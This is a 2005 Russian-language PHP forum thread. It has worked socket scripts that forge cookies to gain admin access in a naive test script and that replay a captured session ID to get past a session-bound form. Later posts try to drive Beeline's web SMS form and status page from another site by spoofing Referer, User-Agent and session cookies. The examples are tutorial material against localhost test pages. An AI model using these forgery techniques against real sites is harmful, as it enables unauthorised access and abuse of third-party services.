|
|
|
| Это продолжение темы "Подделка реферера"
to cheops:
> Нет, но могу рассказать как cookie опрашивать и отправлять потом в
> HTTP-заголовках :))). Т.е. как поддерживать заставить скрипт поддерживать
> cookie и сессии
Ну не томите уже =)))))))))))))))))))))))))))))))) | |
|
|
|
|
|
|
|
для: Sfinks
(03.11.2005 в 06:58)
| | Я приведу здесь два примера: подделка cookies и подделка сессии (SID) средствами PHP, которые наряду с другими примерами будут подробно рассмотрены в нашей новой книге "PHP-головоломки для хакера", которая выйдет в 2006 году. Книга построена по принципу задачника - можно решать задачи и создавать собственную библиотеку интересных и эффективных скриптов, а можно сразу воспользоваться ответами, если допустим нет времени решать их.
Пусть имеется скрипт, который проверяет наличие cookie, установленной у посетителя при аутентификации. В cookie name устанавливается имя пользователя, а в установленные cookie admin, editor и user, позволяют провести авторизацию для администратора, редактора и пользователя, соответственно.
<?php
if(isset($_COOKIE['name']))
{
if(isset($_COOKIE['admin']))
{
echo "Здравствуйте, администратор $_COOKIE[name] !<br>";
}
if(isset($_COOKIE['editor']))
{
echo "Здравствуйте, редактор $_COOKIE[name] !<br>";
}
if(isset($_COOKIE['user']))
{
echo "Здравствуйте, пользователь $_COOKIE[name] !<br>";
}
}
?>
|
Подделать cookie можно отослав HTTP-заголовок следующего формата:
Cookie: name1=value1; name2=value2; …
|
где name1, name2 и т.д. имена cookie, а value1, value2 и т.д их значения. Данную операцию можно выполнить при помощи браузера, позволяющего редактировать cookie или специализированных программ. Мы выполним подделку при помощи PHP-скрипта, который будет отсылать запрос и получать ответ от сервера при помощи сокетов. Скрипт, осуществляющий авторизацию с правами администратора, представлен ниже.
<?php
$hostname = "localhost";
$path = "/test/1.php";
// Устанавливаем соединение, имя которого
// передано в параметре $hostname
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
// Проверяем успешность установки соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
// Формируем HTTP-заголовки для передачи
// его серверу
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
// Подделываем cookie
$headers .= "Cookie: name=cheops; admin=1;\r\n";
$headers .= "Connection: Close\r\n\r\n";
// Отправляем HTTP-запрос серверу
fwrite($fp, $headers);
// Получаем ответ
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>
|
Теперь не составляет труда авторизоваться с правами редактора и пользователя. Достаточно заменить имя cookie admin на editor или user. Более того, в условиях скрипта можно произвести авторизацию одновременно для всех трёх видов пользователей. Для этого достаточно отправить HTTP-заголовок:
Cookie: name=cheops; admin=1; editor=1; user=1;\r\n
|
| |
|
|
|
|
|
|
|
для: Sfinks
(03.11.2005 в 06:58)
| | Пусть имеется HTML-форма index.php, прошитая сессией
<?php
// Инициируем сессию
session_start();
?>
<table>
<form action=handler.php method=post>
<input type=hidden name=session_id value='<?= session_id(); ?>'>
<tr>
<td>Имя:</td>
<td><input type=text name=name></td>
</tr>
<tr>
<td>Пароль:</td>
<td><input type=password name=pass></td>
</tr>
<tr>
<td> </td>
<td><input type=submit value='Войти'></td>
</tr>
</form>
</table>
|
а её обработчик handler.php имеет следующий вид
<?php
// Инициируем сессию
session_start();
// Текущий SID и переданный из HTML-формы не совпадают,
// останавливаем работу скрипта
if($_POST['session_id'] != session_id()) exit();
if($_POST['name'] == 'admin' && $_POST['pass'] == 'admin')
{
echo "<br><br>Письмо отправлено<br><br>";
@mail("admin@somewhere.ru", "Статистика", "тело письма");
}
?>
|
Т.е. просто поместив HTML-форму на стороннем хосте воспользоваться сервисом не удастся, так как HTML-форма прошита сессией. Необходимо получить сессионную cookie сессии и отправить её обработчику.
Для того чтобы получить cookie, а затем отправить её серверу, необходимо воспользоваться сокетами. Сессионная cookie устанавливается при помощи HTTP-заголовка
Set-Cookie: PHPSESSID=d8a29cae8e9eae318ac19e8d48831dea; expires=Fri, 28 Oct 2005 20:04:05 GMT; path=/
|
Здесь PHPSESSID — имя сессионной cookie для хранения уникального идентификатора сессии, expires — срок действия cookie, а path — директория действия cookie. При обращении при помощи сокетов, достаточно дождаться строки имеющей данных формат и извлечь SID при помощи регулярного выражения: "|Set-Cookie: PHPSESSID=([\d\w]+);|i". После того, как SID получен можно обращаться к обработчику форму handler.php методом POST.
Метод POST в отличие от метода GET посылает данные не в строке запроса, а в области данных, после заголовков. Передача нескольких переменных аналогична методу GET: группы имя=значения объединяются при помощи символа амперсанда. Учитывая что HTML-форма принимает параметр name=admin, pass=admin и session_id со значением, полученным в первом обращении через сокеты, строка данных может выглядеть следующим образом
name=admin&pass=admin&session_id= d8a29cae8e9eae318ac19e8d48831dea&\r\n\r\n
Последний амперсанд добавляется, чтобы в значение session_id не попали завершающие данные символы перевода строки. При отправке данных методом POST необходимо отправить HTTP-заголовок Content-Length с числом байт в строке данных и HTTP-заголовок Content-type: application/x-www-form-urlencoded, сообщающий метод пересылки данных.
<?php
$hostname = "localhost";
$path = "/test/index.php";
// Устанавливаем соединение, имя которого
// передано в параметре $hostname
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
// Проверяем успешность установки соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
// Формируем HTTP-заголовки для передачи
// его серверу
$headers = "GET $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Connection: Close\r\n\r\n";
// Отправляем HTTP-запрос серверу
fwrite($fp, $headers);
// Получаем ответ
while (!feof($fp))
{
$line = fgets($fp, 1024);
// Ищем строку вида
// Set-Cookie: PHPSESSID=6197e647566bdaa24da3ab42ae7604b2;
// Именно она устанавливает cookie
preg_match("|Set-Cookie: PHPSESSID=([\d\w]+);|i",$line,$out);
if(!empty($out[1]))
{
$SID = $out[1];
break;
}
}
fclose($fp);
}
$hostname = "localhost";
$path = "/test/handler.php";
$line = "";
// Передаём методом POST имя пользователя (admin),
// его пароль (admin), скрытое поле session_id ($SID)
// В заголовках, передаём cookie PHPSESSID
// Устанавливаем соединение, имя которого
// передано в параметре $hostname
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
// Проверяем успешность установки соединения
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
// Данные POST-запроса
$data = "name=admin&pass=admin&session_id=$SID&\r\n\r\n";
// Формируем HTTP-заголовки для передачи
// его серверу
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
// Подделываем cookie
$headers .= "Cookie: PHPSESSID=$SID;\r\n";
$headers .= "Connection: Close\r\n\r\n";
// Отправляем HTTP-запрос серверу
fwrite($fp, $headers.$data);
// Получаем ответ
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>
|
PS Только внимательно следите за путями к файлам
<?php
$hostname = "localhost";
$path = "/test/index.php";
?>
|
| |
|
|
|
|
|
|
|
для: cheops
(03.11.2005 в 13:44)
| | И тем не менее головоолмка продолжается.....
Объясню задачу подробнее.....
По адресу http://www.beonline.ru/portal/comm/send_sms/simple_send_sms.sms имеется форма отправки смс... при загрузке передает такие заголовки:
HTTP/1.1 200 OK
Date: Fri, 04 Nov 2005 17:16:59 GMT
Server: Apache/2.0.49 (Linux/SuSE)
Cache-Control: private
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=aPtg-lrYsle7; path=/
Set-Cookie: JSESSIONID=amDl8nszl2U_; path=/
Connection: close
Content-Type: text/html; charset=windows-1251
| Отправку я сделал.
Далее, после отправки, есть кнопка получения статуса доставки такого вида:
<input type="image" src="status.gif" alt="Статус сообщения"
onclick="window.open('/status_frame.xsp?id=1014179340&lang=rus', '',
'scrollbars=0, width=528, height=306'); return false;">
|
Открывается окно с frameset'ом, в левом фрейме рекла, в правом статус доставки.
Но если открываешь его скриптом, то в окне вместо статуса пишется
"Извините, статус доставки сообщения не может быть получен"
|
Возвращаемые status_frame.xsp'ом заголовки такие:
HTTP/1.1 200 OK
Date: Fri, 04 Nov 2005 17:20:55 GMT
Server: Apache/2.0.49 (Linux/SuSE)
Vary: Accept-Encoding
Content-Length: 2905
Connection: close
Content-Type: text/html;charset=windows-1251
|
А открываю я его таким набором заголовков:
<?php
$id = $_POST["id"]; // -это выдмраем со страницы ответа на отправку из /status_frame.xsp?id=1014179340&lang=rus
$sid = $_POST["sid"]; // -это JSESSIONID из первой формы
$host = "www.beonline.ru";
$path = "/status.xsp?id=$id&lang=rus"; // -тут я обращаюсь не к status_frame.xsp, а к содержимому правого фрейма.
$fp = fsockopen($host,80,$errno,$errstr,30);
if(!$fp) echo"$errstr ($errno)<br />\n";
else{
$headers = "GET $path HTTP/1.0\r\n";
$headers .= "Host: $host\r\n";
$headers .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$headers .= "Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Language: ru,en;q=0.9\r\n";
$headers .= "Referer: http://www.beonline.ru/portal/comm/send_sms/simple_send_sms.sms\r\n";
$headers .= "User-Agent: Opera/8.01 (Windows NT 5.1; U; ru)\r\n";
$headers .= "Cookie: JSESSIONID=$sid;\r\n";
$headers .= "Connection: Close\r\n\r\n";
fwrite($fp,$headers);
$head = "";
while($text != "\r\n"){
$text = fgets($fp,128);
$head .= $text;
}
$text = "";
while(!feof($fp)) $text .= fgets($fp,4096);
fclose($fp);
}
echo $text;
?>
|
Так в чем еще может быть проблема?.... Чего еще не хватает?! | |
|
|
|
|
|
|
|
для: Sfinks
(04.11.2005 в 21:02)
| |
Для отправки сообщения введите код, указанный на картинке
|
Так там же число на картинке - HTML-форма генерирует изображение - пока вы его не введёте - никаких вам sms. Самый убойный способ против отправителей sms в обход сайта. Причём эту картинку даже не пытайтесь расшифровать, как только вам это удасться, будет созданна новая, которая испепелит ваши усилия. | |
|
|
|
|
|
|
|
для: cheops
(04.11.2005 в 23:39)
| | Да это решено! Просто таже картинка отображается на моей страничке (http://sendsms.dimok.hostvit.ru) и юзер ее вводит. SMS отправляются без проблем! Проблема дальше с получением статуса сообщения. | |
|
|
|
|
|
|
|
для: Sfinks
(06.11.2005 в 12:34)
| | В том то и прелесть, что сервер билайн знать не знает этого кода который вы вводите - ему подавай тот, который сгенерировал его сервис... При генерации формы код на картинке каждый раз разный и скорее всего форма помещает его в сессию - приходите к обработчику - если в сессии код совпадает с тем, что ввёл посетитель - отсылаем sms, если не совпадает - ничего не отсылаем. А данные сессии в отличие от SID подделать уже не получится. Единственный способ - это получить сессию, расшифровать картинку и послать код, который генерируется для этой сессии и приведён на картинке. | |
|
|
|
|
|
|
|
для: cheops
(06.11.2005 в 13:24)
| | Повторяю еще раз.....
С кодом на картинке все нормально! BeeLine его принимает и смс отправляется и доходит! Я проверял уже 100 раз отправкой смс самому себе.
Проблемы дальше.... Уже на следующей странице..... Когда нажимаешь кнопку "Статус сообщения". И код картинки там уже абсолютно не при делах. Это чисто информационнная страница, на которой пишется тока доставлено, в процессе или не доставлено. И вот этот статус и не читается.
Я это подробно описал в посте от 04.11.2005 в 21:02 | |
|
|
|
|
|
|
|
для: Sfinks
(06.11.2005 в 22:04)
| | А статус сообщения как извлекается? | |
|
|
|
|
|
|
|
для: cheops
(06.11.2005 в 23:35)
| | Весь код файла status.php приведен в листинге в конце поста от 04.11.2005 21:02 в этой теме.
Переменные $_POST["sid"] и $_POST["id"] передаются из http://sendsms.dimok.hostvit.ru/send1.php, которые в свою очередь извлекаются из заголовка чтения http://www.beonline.ru/portal/comm/send_sms/simple_send_sms.sms и из урла кнопки статуса /status_frame.xsp?id=1014179340&lang=rus, соответсятвенно.
Прочтите еще раз этот пост (от 04.11.2005 21:02). Я в нем все четко описал, просто Вы не о том вопросе подумали, когда стали отвечать. | |
|
|
|
|
|
|
|
для: cheops
(06.11.2005 в 23:35)
| | Что примечательно, статус выдается только если нажать кнопку "Статус сообщения" на странице отчета после отправки смс с их сайта. Т.е. даже если напрямую с их сайта отправляешь смс, а затем открываешь исходник отчета, берешь оттуда что-то вроде http://www.beonline.ru/status_frame.xsp?id=1014179340&lang=rus и просто вводишь в строку адреса, то всерн загружается фраза "Извините, статус доставки сообщения не может быть получен", а не действительный адрес.... Но в скрипте я же устанавливаю и куку и реферера.... А результата ноль =(( | |
|
|
|
|
|
|
|
для: cheops
(06.11.2005 в 23:35)
| | cheops, неужели не будет ни каких подсказок?!!!! Я не могу в это поверить!!!
____
Кстати, cheops, Гоша и Игорь Вячеславович - это одно лицо?... Просто интересно =))))) | |
|
|
|
|
|
|
|
для: Sfinks
(07.11.2005 в 22:01)
| | А какие HTTP-заголовки эта строптивая страница посылает клиенту?
>Кстати, cheops, Гоша и Игорь Вячеславович - это одно
>лицо?... Просто интересно =)))))
Да. | |
|
|
|
|
|
|
|
для: cheops
(08.11.2005 в 00:28)
| | simple_send_sms.sms:
HTTP/1.1 200 OK
Date: Fri, 04 Nov 2005 17:16:59 GMT
Server: Apache/2.0.49 (Linux/SuSE)
Cache-Control: private
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=aPtg-lrYsle7; path=/
Set-Cookie: JSESSIONID=amDl8nszl2U_; path=/
Connection: close
Content-Type: text/html; charset=windows-1251
|
status_frame.xsp:
HTTP/1.1 200 OK
Date: Fri, 04 Nov 2005 17:20:55 GMT
Server: Apache/2.0.49 (Linux/SuSE)
Vary: Accept-Encoding
Content-Length: 2905
Connection: close
Content-Type: text/html;charset=windows-1251
|
| |
|
|
|
|
|
|
|
для: Sfinks
(08.11.2005 в 07:00)
| | Старнно, а почему он просит браузер установить две куки с одним и тем же именем... Вы первую ставите или обе пробовали? Если ещё вторую не пробовали нужно просто убрать break; при нахождении соответствия Set-Cookie: | |
|
|
|
|
|
|
|
для: cheops
(08.11.2005 в 12:18)
| | Конечно я уже пробовал и первую и вторую и обе, также как он их пишет.... Без разницы =( | |
|
|
|
|
|
|
|
для: Sfinks
(09.11.2005 в 07:14)
| | А я чего-то кнопки статуса не вижу: только получить ответ на e-mail и на сотовый телефон. После отправки тоже ничего...
PS А сами SMS отправляются? | |
|
|
|
|
|
|
|
для: cheops
(09.11.2005 в 13:40)
| | > А я чего-то кнопки статуса не вижу: только получить ответ на e-mail и
> на сотовый телефон. После отправки тоже ничего...
Нужно на странице отправки поставить флажок на чекбоксе "Отслеживать статус сообщения", тогда после отправки будет эта кнопка.
> А сами SMS отправляются?
Да, отправляются и доставляются. | |
|
|
|
|
|
|
|
для: Sfinks
(10.11.2005 в 19:39)
| | Может флажок этот как у вас не отмечается - назван не правильно или ещё что-то в этом духе? | |
|
|
|
|
|
|
|
для: cheops
(10.11.2005 в 23:07)
| | Да нет, все верно:
$data .= "&status=".urlencode("on");
|
Меня вот смущают заголовки:
Cache-Control: private
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
| ....из этого ничего не надо передавать? | |
|
|
|
|
|
|
|
для: Sfinks
(12.11.2005 в 20:43)
| | 1, 3 - ничего не страшного - это для прокси-серверов, сообщают, что содержимое страницы не следует кэшировать. А вот второй вполне какую-нибудь бяку может в ответ требовать... вроде кодирования в base64 вместо urlencode... надо порыться в справочниках и в rfc2616 - что второй заголовок означает... | |
|
|
|
|
|
|
|
для: cheops
(12.11.2005 в 23:21)
| | Так страница статуса, вроде, вообще открывается GET-запросом.... Там в POST-форме появляется вторая кнопка с урлом типа: /file.xsp?id=xxxxxxxxxx&lang=rus?....
Соответственно, я и в запросе ниче не кодирую, а передаю ток заголовки:
$host = "www.beonline.ru";
$path = "/status.xsp?id=$id&lang=rus";
$fp = fsockopen($host,80,$errno,$errstr,30);
if(!$fp) echo"$errstr ($errno)<br />\n";
else{
$headers = "GET $path HTTP/1.0\r\n";
$headers .= "Host: $host\r\n";
$headers .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$headers .= "Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Language: ru,en;q=0.9\r\n";
$headers .= "Referer: http://www.beonline.ru/portal/comm/send_sms/simple_send_sms.sms\r\n";
$headers .= "User-Agent: Opera/8.01 (Windows NT 5.1; U; ru)\r\n";
$headers .= "Cookie: JSESSIONID=$sid;\r\n";
$headers .= "Connection: Close\r\n\r\n";
|
| |
|
|
|
|
|
|
|
для: Sfinks
(13.11.2005 в 10:57)
| | Да вижу openBrWind(), который просто открывает новое окно... чёрт его знает что ему ещё нужно - вроде всё корректно и правильно... | |
|
|
|
|
|
|
|
для: cheops
(03.11.2005 в 13:44)
| | отличная информация, спасибо | |
|
|
|
|